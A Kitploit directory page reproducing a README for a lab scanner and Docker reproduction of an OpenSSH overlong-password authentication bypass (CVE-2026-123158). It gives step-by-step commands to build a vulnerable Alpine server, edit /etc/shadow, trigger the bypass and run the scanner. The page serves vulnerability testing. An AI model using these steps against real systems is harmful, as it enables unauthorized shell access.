Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-123158-sshole — Lab-only scanner and reproducible Alpine Docker test case for the SSHole OpenSSH password-authentication bypass (CVE-2026-123158) using overlong passwords. | Kitploit
工具/GitHubGitHub/rothoma2/cve-2026-123158-sshole
Vulnerability ScannersContainer SecurityExploitationNetwork SecurityPenetration TestingAuthenticationLabs & Practice
GitHubrothoma2/cve-2026-123158-sshole

cve-2026-123158-sshole

Lab-only scanner and reproducible Alpine Docker test case for the SSHole OpenSSH password-authentication bypass (CVE-2026-123158) using overlong passwords.

查看仓库
114天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

SSHole (CVE-2026-123158)

This repository contains a lab-only scanner and a reproducible Alpine Linux test case for the SSHole password-authentication bypass. Do not run the test against systems you do not own or have explicit permission to test.

The vulnerable path requires all of the following:

  • Alpine (musl libc) with the non-PAM openssh-server package;
  • PasswordAuthentication yes and UsePAM no;
  • a login-capable account whose /etc/shadow password field is exactly *;
  • at least one other account with a $5$ or $6$ password hash; and
  • a password between 257 and 1,024 bytes. The scanner defaults to 300 bytes.

The account with * is intentional: * means that no normal password should work. In the vulnerable configuration, musl's handling of an overlong password can make that account authenticate anyway.

Build a disposable vulnerable Alpine lab

The example below uses Docker and publishes the container's SSH service on 127.0.0.1:2222. Alpine 3.24.3 and openssh-server 10.3_p1-r1 are pre-fix versions for this lab. Pin the package so a later repository update does not silently turn the exercise into a patched test.

On the host, download and start the image:

docker pull alpine:3.24.3
docker run --detach --name sshole-alpine --publish 127.0.0.1:2222:22 \
  alpine:3.24.3 sleep infinity

Open a shell in the container as root and install the pinned server package:

docker exec --interactive --tty sshole-alpine sh

apk add --no-cache \
  openssh-server=10.3_p1-r1 \
  openssh-client=10.3_p1-r1

If the normal Alpine mirror no longer carries that historical package, use an Alpine package mirror or snapshot that contains 10.3_p1-r1; do not replace it with the current -r2 package when reproducing the vulnerable state.

Confirm the important properties inside the container:

apk info -v openssh-server
ldd /usr/sbin/sshd | grep musl

Add the test accounts

Create one ordinary account with a real password and one account named asterisk whose shadow field is literally *:

adduser -D -s /bin/sh demo
printf 'demo:Correct-Horse-Battery-Staple-123!\n' | chpasswd

adduser -D -s /bin/sh asterisk
sed -i -E 's/^asterisk:[^:]*:/asterisk:*:/' /etc/shadow

grep -E '^(demo|asterisk):' /etc/shadow

The last command should show a $5$ or $6$ hash for demo, and exactly asterisk:*: for asterisk. Do not paste the full shadow output into a public issue or log.

Configure the server for the vulnerable, non-PAM password-authentication path and create host keys:

mkdir -p /run/sshd
ssh-keygen -A
cat >> /etc/ssh/sshd_config <<'EOF'

UsePAM no
PasswordAuthentication yes
KbdInteractiveAuthentication no
PermitRootLogin no
AllowUsers demo asterisk
EOF

sshd -t
sshd -T | grep -Ei '^(usepam|passwordauthentication|kbdinteractiveauthentication|permitrootlogin) '

Expected configuration includes usepam no and passwordauthentication yes. Start sshd in the background from the host:

docker exec --detach sshole-alpine /usr/sbin/sshd -D -e

Validate the vulnerability with SSH

First verify that the real account rejects the long password. Run this from the host; when prompted, enter 300 A characters:

ssh -p 2222 \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts=1 \
  [email protected]

The demo login should be rejected. Now use the same command for the account whose password field is *:

ssh -p 2222 \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts=1 \
  [email protected]

Enter the same 300-character password. On a vulnerable server, SSH reports that authentication succeeded and opens a shell as asterisk, even though no valid password was assigned to that account. A patched server rejects the login. The affected range is 257–1,024 bytes, so a shorter password is not a valid negative test for this issue.

After a successful lab login, validate the identity without exposing anything sensitive:

whoami
id

Run the scanner

Install the scanner dependency in a virtual environment on the host:

python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install paramiko

Run the scanner against the lab port and test account:

python3 sshole-scanner.py 127.0.0.1 \
  --port 2222 \
  --username asterisk \
  --password-length 300

Use JSON output for machine-readable results:

python3 sshole-scanner.py 127.0.0.1 \
  --port 2222 \
  --username asterisk \
  --password-length 300 \
  --json

For the vulnerable lab, look for an AUTHENTICATED result. A patched or otherwise protected target should show AUTHENTICATION_REJECTED or a closed connection instead. The scanner only performs its long-password login test when the SSH banner falls in its review range.

Repository note: the current checkout imports BannerInfo and scan_banner from ssh_scanner, but that module is not present in this checkout. The setup and validation commands above are complete; the scanner commands require that module to be restored or added before they can run.

Cleanup

The lab container is intentionally disposable:

docker rm --force sshole-alpine
deactivate 2>/dev/null || true

For real systems, update to the vendor-fixed OpenSSH package or disable password authentication and restart sshd. Never use this reproduction as a production configuration.

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    371
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    336
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    322

探索所有工具

浏览我们的工具集合

查看所有工具 →